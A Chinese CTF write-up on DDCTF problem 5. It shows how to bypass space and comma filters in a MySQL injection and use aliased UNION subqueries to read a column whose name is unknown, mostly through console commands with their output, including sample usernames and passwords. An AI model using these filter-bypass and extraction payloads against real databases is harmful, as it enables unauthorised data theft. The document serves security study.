Mysql如何巧妙的繞過未知字段名詳解
本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:
實現(xiàn)思路
題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;
存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯(lián)合查詢,過程如下:
思想就是獲取flag,讓其在已知字段名下出現(xiàn);
示例代碼:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
總結(jié)
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